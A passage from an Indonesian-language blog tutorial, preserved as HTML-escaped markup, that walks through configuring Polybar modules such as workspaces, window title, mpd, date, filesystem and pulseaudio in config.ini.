Free:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;Bold:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;pixelsize&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font-2&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; JetBrainsMono Nerd Font:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;Bold:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;pixelsize&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;modules-left&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; xworkspaces xwindow mpd&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;modules-center&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; date&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;modules-right&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; filesystem pulseaudio battery eth netspeed&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cursor-click&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; pointer&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cursor-scroll&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ns-resize&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enable-ipc&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Terlihat bahwa pada blok &lt;strong&gt;[bar]&lt;/strong&gt; ini, kita mendefinisikan beberapa hal penting, misalnya mengatur ukuran, posisi, warna, dan font bar serta mengatur module-module apa saja yang akan terletak di sebelah kiri, tengah, maupun di kanan.&lt;/p&gt;&lt;p&gt;Sekarang, kita akan mengkonfigurasi modul-modul yang sebelumnya sudah saya tentukan.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Module di bagian kiri&lt;a href=&quot;#module-di-bagian-kiri&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;[module/xworspaces]&lt;a href=&quot;#modulexworspaces&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module ini akan mengkonfigurasi workspace yang muncul di polybar.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Workspaces&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/xworkspaces]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/xworkspaces&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-active&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-active-font&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; font-1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-active-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.primary}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-active-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background-alt}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-active-underline&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.primary}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-active-padding&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-occupied&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-occupied-font&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; font-1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-occupied-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.disabled}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-occupied-padding&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-urgent&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %name%&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-urgent-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.alert}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-urgent-padding&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-empty&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-empty-font&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; font-1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-empty-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.disabled}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-empty-padding&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;[module/xwindow]&lt;a href=&quot;#modulexwindow&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module xwindow ini mengkonfigurasi nama window aktif yang sedang tampil.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Current Window&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/xwindow]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/xwindow&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %{F&lt;/span&gt;&lt;/span&gt;&lt;span&gt;#74F0EB}%{F-}  %title:0:10:...%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;[module/mpd]&lt;a href=&quot;#modulempd&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module mpd ini akan menampilkan output audio yang sedang berjalan yang di-&lt;em&gt;handle&lt;/em&gt; oleh mpd server.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; MPD&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/mpd]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/mpd&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;host&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 127.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 6600&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interval&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-online&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &amp;lt;label-song&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-song&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %{F&lt;/span&gt;&lt;/span&gt;&lt;span&gt;#74F0EB}%{F-} %artist% - %title%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-offline&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 🎜 mpd is offline&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Ketiga konfigurasi module tersebut akan menampilkan workspace, current window, dan mpd di polybar sebelah kiri:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;322&quot; src=&quot;/_astro/ss6.CN1xVdri_Z2hlL6X.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Status dari module &lt;strong&gt;xwindow&lt;/strong&gt; &amp;amp; &lt;strong&gt;mpd&lt;/strong&gt; tidak akan muncul jika memang tidak ada window aktif yang sedang berjalan atau mpd tidak sedang berjalan.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Module di tengah&lt;a href=&quot;#module-di-tengah&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;[module/date]&lt;a href=&quot;#moduledate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module ini akan mengatur status jam dan tanggal yang akan muncul.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Date&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/date]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/date&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interval&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;date&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %H:%M&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;date-alt&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %Y-%m-%d %H:%M:%S&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %date%&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.foreground}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Status dari module date ini akan muncul di bagian tengah polybar.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;207&quot; height=&quot;266&quot; src=&quot;/_astro/ss7.Cv-dXyeV_Z2ol8P6.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Module di bagian kanan&lt;a href=&quot;#module-di-bagian-kanan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;[module/filesystem]&lt;a href=&quot;#modulefilesystem&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module ini akan menampilkan status kuantitas diska komputer kita yang sudah terisi (dengan format persentase tentu saja).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; File System&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/filesystem]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/fs&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interval&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 25&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mount-0&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-mounted&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %{F&lt;/span&gt;&lt;/span&gt;&lt;span&gt;#74F0EB}%{F-}  %percentage_used%%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;[module/pulseaudio]&lt;a href=&quot;#modulepulseaudio&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module ini bertanggung jawab untuk mengatur besar-kecil-nya volume audio komputer kita. Jadi, nanti melalui status pulseaudio ini, saya bisa mengecilkan atau membesarkan audio hanya dengan &lt;em&gt;scrolling&lt;/em&gt; via mouse di status pulseaudio tersebut.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Pulseaudio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/pulseaudio]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/pulseaudio&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-volume-prefix&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-volume-prefix-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.primary}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-volume&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &amp;lt;label-volume&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
